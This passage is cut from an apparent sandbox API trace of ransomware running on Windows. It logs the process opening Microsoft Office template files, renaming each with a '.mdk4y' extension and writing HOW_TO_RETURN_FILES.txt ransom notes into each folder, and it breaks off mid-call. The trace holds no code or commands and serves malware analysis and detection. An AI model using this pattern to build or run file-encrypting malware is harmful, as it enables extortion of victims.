lpNumberOfBytesRead=0x37dda8*=0x155, lpOverlapped=0x0) returned 1 [0187.589] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826281900000) returned 1 [0187.589] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826281900000) returned 1 [0187.589] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\TAB_OFF.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow\\tab_off.gif.mdk4y")) returned 1 [0187.643] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0187.643] AreFileApisANSI () returned 1 [0187.643] GetACP () returned 0x4e4 [0187.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_ON.GIF", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="TAB_ON.GIFF", lpUsedDefaultChar=0x37dda8) returned 10 [0187.644] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0187.644] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826287400000) returned 1 [0187.645] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xde, lpOverlapped=0x0) returned 1 [0187.645] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826287500000) returned 1 [0187.645] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826287500000) returned 1 [0187.646] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\TAB_ON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow\\tab_on.gif.mdk4y")) returned 1 [0187.646] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 0 [0187.646] FindClose (in: hFindFile=0x6ab3d0 | out: hFindFile=0x6ab3d0) returned 1 [0187.647] AreFileApisANSI () returned 1 [0187.647] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6c0098, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 110 [0187.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dae0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.647] GetFileType (hFile=0x114) returned 0x1 [0187.648] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0187.648] AreFileApisANSI () returned 1 [0187.648] GetACP () returned 0x4e4 [0187.648] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BrightYellow.css", cchWideChar=16, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="BrightYellow.css", lpUsedDefaultChar=0x37de34) returned 16 [0187.648] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0187.648] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826287800000) returned 1 [0187.649] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0xd03, lpOverlapped=0x0) returned 1 [0187.650] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826288000000) returned 1 [0187.650] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826288000000) returned 1 [0187.650] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow.css.mdk4y")) returned 1 [0187.651] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0187.651] AreFileApisANSI () returned 1 [0187.651] GetACP () returned 0x4e4 [0187.651] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Casual.css", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Casual.cssow.css", lpUsedDefaultChar=0x37de34) returned 10 [0187.651] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Casual.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\casual.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0187.651] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826288100000) returned 1 [0187.651] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x766, lpOverlapped=0x0) returned 1 [0187.670] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826290000000) returned 1 [0187.670] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826290000000) returned 1 [0187.670] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Casual.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\casual.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Casual.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\casual.css.mdk4y")) returned 1 [0187.672] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0187.672] AreFileApisANSI () returned 1 [0187.672] GetACP () returned 0x4e4 [0187.672] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Desert", cchWideChar=6, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Desert.css", lpUsedDefaultChar=0x37de34) returned 6 [0187.672] AreFileApisANSI () returned 1 [0187.672] GetACP () returned 0x4e4 [0187.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x691c88, cbMultiByte=80, lpWideCharStr=0x37dbc8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\") returned 80 [0187.672] AreFileApisANSI () returned 1 [0187.672] GetACP () returned 0x4e4 [0187.672] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dda8) returned 1 [0187.672] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0187.672] AreFileApisANSI () returned 1 [0187.672] GetACP () returned 0x4e4 [0187.673] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dda8) returned 2 [0187.673] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0187.673] AreFileApisANSI () returned 1 [0187.673] GetACP () returned 0x4e4 [0187.673] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HEADER.GIF", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="HEADER.GIFs", lpUsedDefaultChar=0x37dda8) returned 10 [0187.673] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert\\header.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0187.673] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826290300000) returned 1 [0187.673] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x94, lpOverlapped=0x0) returned 1 [0187.674] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826290400000) returned 1 [0187.674] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826290400000) returned 1 [0187.674] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\HEADER.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert\\header.gif.mdk4y")) returned 1 [0187.675] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0187.675] AreFileApisANSI () returned 1 [0187.675] GetACP () returned 0x4e4 [0187.675] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_OFF.GIF", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="TAB_OFF.GIF", lpUsedDefaultChar=0x37dda8) returned 11 [0187.675] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0187.675] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826290500000) returned 1 [0187.675] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x1f0, lpOverlapped=0x0) returned 1 [0187.676] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826290800000) returned 1 [0187.678] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826290800000) returned 1 [0187.678] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\TAB_OFF.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert\\tab_off.gif.mdk4y")) returned 1 [0187.679] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0187.679] AreFileApisANSI () returned 1 [0187.679] GetACP () returned 0x4e4 [0187.679] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_ON.GIF", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="TAB_ON.GIFF", lpUsedDefaultChar=0x37dda8) returned 10 [0187.679] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0187.680] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826291000000) returned 1 [0187.680] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x401, lpOverlapped=0x0) returned 1 [0187.704] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826293400000) returned 1 [0187.704] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826293400000) returned 1 [0187.704] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\TAB_ON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert\\tab_on.gif.mdk4y")) returned 1 [0187.727] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 0 [0187.727] FindClose (in: hFindFile=0x6ab3d0 | out: hFindFile=0x6ab3d0) returned 1 [0187.728] AreFileApisANSI () returned 1 [0187.728] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6c0098, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 104 [0187.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dae0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.729] GetFileType (hFile=0x114) returned 0x1 [0187.730] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0187.730] AreFileApisANSI () returned 1 [0187.730] GetACP () returned 0x4e4 [0187.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Desert.css", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Desert.css", lpUsedDefaultChar=0x37de34) returned 10 [0187.730] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0187.730] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826296000000) returned 1 [0187.731] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0xb0e, lpOverlapped=0x0) returned 1 [0187.732] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826296200000) returned 1 [0187.732] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826296200000) returned 1 [0187.732] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert.css.mdk4y")) returned 1 [0187.733] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0187.733] AreFileApisANSI () returned 1 [0187.733] GetACP () returned 0x4e4 [0187.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Discussion.css", cchWideChar=14, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Discussion.cssss", lpUsedDefaultChar=0x37de34) returned 14 [0187.733] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Discussion.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\discussion.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0187.734] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826296400000) returned 1 [0187.734] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x173, lpOverlapped=0x0) returned 1 [0187.735] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826296500000) returned 1 [0187.735] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826296500000) returned 1 [0187.735] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Discussion.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\discussion.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Discussion.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\discussion.css.mdk4y")) returned 1 [0187.736] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0187.736] AreFileApisANSI () returned 1 [0187.736] GetACP () returned 0x4e4 [0187.736] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Earthy.css", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Earthy.css.css", lpUsedDefaultChar=0x37de34) returned 10 [0187.736] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Earthy.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\earthy.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0187.736] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826296600000) returned 1 [0187.736] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x71e, lpOverlapped=0x0) returned 1 [0187.760] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826299000000) returned 1 [0187.760] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826299000000) returned 1 [0187.761] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Earthy.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\earthy.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Earthy.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\earthy.css.mdk4y")) returned 1 [0187.763] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0187.763] AreFileApisANSI () returned 1 [0187.763] GetACP () returned 0x4e4 [0187.763] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GrayCheck", cchWideChar=9, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="GrayChecks", lpUsedDefaultChar=0x37de34) returned 9 [0187.763] AreFileApisANSI () returned 1 [0187.763] GetACP () returned 0x4e4 [0187.763] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6ad838, cbMultiByte=83, lpWideCharStr=0x37dbc8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\瞈㲣瞈鑖瞣_") returned 83 [0187.763] AreFileApisANSI () returned 1 [0187.763] GetACP () returned 0x4e4 [0187.763] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dda8) returned 1 [0187.763] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0187.763] AreFileApisANSI () returned 1 [0187.763] GetACP () returned 0x4e4 [0187.763] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dda8) returned 2 [0187.763] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0187.763] AreFileApisANSI () returned 1 [0187.763] GetACP () returned 0x4e4 [0187.763] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HEADER.GIF", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="HEADER.GIFs", lpUsedDefaultChar=0x37dda8) returned 10 [0187.763] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck\\header.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0187.764] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826299400000) returned 1 [0187.764] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x1b8, lpOverlapped=0x0) returned 1 [0187.765] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826299500000) returned 1 [0187.765] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826299500000) returned 1 [0187.765] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\HEADER.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck\\header.gif.mdk4y")) returned 1 [0187.766] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0187.766] AreFileApisANSI () returned 1 [0187.766] GetACP () returned 0x4e4 [0187.766] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_OFF.GIF", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="TAB_OFF.GIF", lpUsedDefaultChar=0x37dda8) returned 11 [0187.766] CreateFileA 